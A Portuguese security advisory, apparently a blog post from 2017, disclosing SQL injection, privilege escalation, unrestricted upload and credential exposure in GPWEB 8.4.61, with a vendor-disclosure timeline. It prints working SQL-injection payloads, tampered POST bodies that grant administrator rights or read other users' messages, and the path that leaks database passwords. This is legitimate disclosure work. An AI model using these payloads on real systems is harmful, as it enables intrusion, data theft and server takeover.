
[SEGURANÇA] GPWEB 8.4.61 Múltiplas Falhas: SQLi, Manipulação de Privilégios, Uploads sem Restrições, Exposição de Informação Sensível
Em outubro deste ano (2017), resolvi iniciar um projeto na área de pesquisa em segurança da informação. Selecionei vários softwares hospedados no repositório https://softwarepublico.gov.br, a fim de dar minha contribuição à comunidade encontrando possíveis falhas de segurança nos projetos disponibilizados publicamente. O primeiro deles, foco desta publicação, é o GPWEB 8.4.61, sendo esta a última versão disponível desde outubro de 2016. CVEs relacionados a estas descobertas: CVE-2017-15875, CVE-2017-15876 e CVE-2017-15877 .
Segue abaixo o propósito do software segundo o fabricante:
O software gpweb entrega gestão estratégica e gerenciamento de projetos orientados a processos de padrão mundial, adaptados às necessidades da sua organização. Projetado para gerenciar o planejamento estratégico e todo o ciclo de vida de seus projetos, o gpweb fornece soluções construídas sobre poderosa capacidade de colaboração e de fluxos de trabalho.
De acordo com o próprio fabricante, o GPWEB é usado por diversas empresas privadas e órgão do governo como Força aérea Brasileira, Exército Brasileiro, Tribunais de Justiça, Tribunais Regionais Eleitorais, CREAs, Universidades e Ministérios Públicos.
Sendo a versão 8.4.61, a última disponível para o público, várias instituições estão em risco, pois as falhas encontradas nesta versão possivelmente também estão presentes em versões anteriores. (Não confirmado)
Ainda em outubro/17, logo após as descobertas, o fabricante foi comunicado a respeito delas, o qual se prontificou em analisar cada falha encontrada. Segundo ele, uma nova versão irá ao ar em Janeiro/18, corrigindo as falhas apontadas.
Abaixo, segue relatório descrevendo as falhas encontradas e também o histórico de ações desde a descoberta das falhas:
Detalhes sobre o produto / serviço
Fabricante: Sistema GP-Web Ltda.
Site: http://www.sistemagpweb.com.br
Produto: GPWEB – Grandes Planos | Disponível em: https://softwarepublico.gov.br/social/gpweb
Versões afetadas: 8.4.61 (Possivelmente todas as versões anteriores também possuem as mesmas falhas)
Impactos

GPWEB 8.4.61 SQL Injection CVE-2017-15875

GPWEB 8.4.61 Manipulação Privilégios

GPWEB 8.4.61 Uploads Sem Restrição CVE-2017-15876

GPWEB 8.4.61 Exposição Informação Sensível CVE-2017-15877
Detalhes das vulnerabilidades
SQL Injection
O campo de recuperação de senhas é vulnerável à SQL Injection.
Para submissão do pedido de reset de senha é usado o método POST. Os seguintes campos são enviados na requisição:
celular=0&perdeu_senha=1&pesquisa_email=1&pesquisa_frase=0&gravar_senha=0&usuario_id=0&[email protected]
O campo checkemail é vulnerável às sequintes técnicas:
Type: boolean-based blind
Title: AND boolean-based blind – WHERE or HAVING clause
Payload: celular=0&perdeu_senha=1&pesquisa_email=1&pesquisa_frase=0&gravar_senha=0&usuario_id=0&[email protected]’ AND 2665=2665 AND ‘MIpz’=’MIpz
Type: error-based
Title: MySQL >= 5.1 AND error-based – WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
Payload: celular=0&perdeu_senha=1&pesquisa_email=1&pesquisa_frase=0&gravar_senha=0&usuario_id=0&[email protected]’ AND EXTRACTVALUE(3529,CONCAT(0x5c,0x717a6a6271,(SELECT (ELT(3529=3529,1))),0x71626a7171)) AND ‘NoaN’=’NoaN
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: celular=0&perdeu_senha=1&pesquisa_email=1&pesquisa_frase=0&gravar_senha=0&usuario_id=0&[email protected]’ AND SLEEP(10) AND ‘uUYt’=’uUYt
POC (Proof of Concept)

GPWEB 8.4.61 Database
Manipulação de privilégios
As seguintes manipulações de privilégios são possíveis:
- Usuário com qualquer privilégio, manipulando requisição POST, é capaz de ler mensagens de outro usuário.
Um usuário com qualquer privilégio é capaz de manipular a seguinte requisição POST . Alterando-se o campo usuario_id para o id de outro usuário e alterando o id da mensagem a ser lida (msg_usuario_id).
a=exibe_msg&m=email&status=1&usuario_id=3&destino=&tipo=&mover=&pasta=&sentido=&campo_ordenar=&cia_usuario_enviou=0&cia_usuario_recebeu=0&cia_usuario_criou=0&assunto=&pesquisa_inicio=&pesquisa_fim=&tab=0&msg_usuario_id=1&senha=&modelo_id=&pagina=1&retornar=&cia_id=1&tarefa_id=&projeto_id=&pg_perspectiva_id=&tema_id=&objetivo_id=&fator_id=&pg_estrategia_id=&pg_meta_id=&pratica_id=&pratica_indicador_id=&plano_acao_id=&canvas_id=&risco_id=&risco_resposta_id=&calendario_id=&monitoramento_id=&ata_id=&mswot_id=&swot_id=&operativo_id=&instrumento_id=&recurso_id=&problema_id=&demanda_id=&programa_id=&licao_id=&evento_id=&link_id=&avaliacao_id=&tgn_id=&brainstorm_id=&gut_id=&causa_efeito_id=&arquivo_id=&forum_id=&checklist_id=&agenda_id=&agrupamento_id=&patrocinador_id=&template_id=&painel_id=&painel_odometro_id=&painel_composicao_id=&tr_id=&me_id=&cripto_1=0&caixa_senha=
- Escalonamento de privilégios
Um usuário com qualquer privilégio é capaz de manipular requisições POST e se tornar administrador do sistema.
Fazendo-se a manipulação da seguinte requisição e alterando-se os dados de forma arbitrária para os seus próprios dados e mantendo-se no final usuario_admin=1 no próximo login deste usuário ele estará como administrador do sistema.
m=admin&a=vazio&u=&contato_posto_valor=19&usuario_id=2&contato_id=2&fazerSQL=fazer_usuario_aed&tam_min_login=2%29&tam_min_senha=2%29&usuarios=&depts=&usuario_grupo_dept=&usuario_chavepublica=&usuario_especial=0&usuario_superior=&usuario_superior=0&usuario_superior=&usuario_assinatura=&existe_login=1&nao_existe_dept=&existe_identidade=&usuario_login=teste&escolha_criar_contato=criar&contato_posto=Sr.&contato_nomeguerra=teste&contato_nomecompleto=teste&contato_cia=1&contato_dept=&dept_nome=%A0&contato_funcao=&contato_email=&contato_email2=&usuario_rodape=&contato_identidade=&contato_cpf=&contato_matricula=&contato_hora_custo=0&usuario_contato=&nome_contato=%A0&usuario_ativo=0&usuario_ativo=1&usuario_admin=0&usuario_admin=1
Uploads sem restrições
Usuários com privilégios de Administrador são capazes de editar informações de Organizações a qual permite upload de arquivos sem restrições.

GPWEB 8.4.61 Shell Upload
Carregando-se um arquivo malicioso, que permite execuções de comando em um servidor, é possível ganhar acesso e executar código remoto.
POC (Proof of Concept)
Após o carregamento de arquivo malicioso no servidor, é possível executar comandos e ganhar acesso ao servidor:

GPWEB 8.4.61 Execução de código
Exposição de Informação Sensível
Após a instalação do sistema, caso a pasta /instalacao/ mantenha-se no servidor, ao acessar o seguinte endereço, sem a necessidade de estar autenticado, informações de conexão com o banco de dados são expostas:
http://CAMINHO_GPWEB/instalacao/db.php
POC (Proof of Concept)

GPWEB 8.4.61 Acesso a instalacao/db.php
Ao inspecionar o campo de senha, ela aparece em texto claro:

GPWEB 8.4.61 Senha em texto claro
Histórico de ações
20/10/2017 – Início dos testes e criação do relatório.
22/10/2017 – Feito primeiro contato com fabricante / mantenedor informando o problema.
22/10/2017 – Fabricante confirmou recebimento do e-mail e irá avaliar.
24/10/2017 – Incluídos CVE-IDs para cada vulnerabilidade.
30/11/2017 – Fabricante informado que descobertas iriam a público em dez/17.
12/12/2017 – Publicação das descobertas.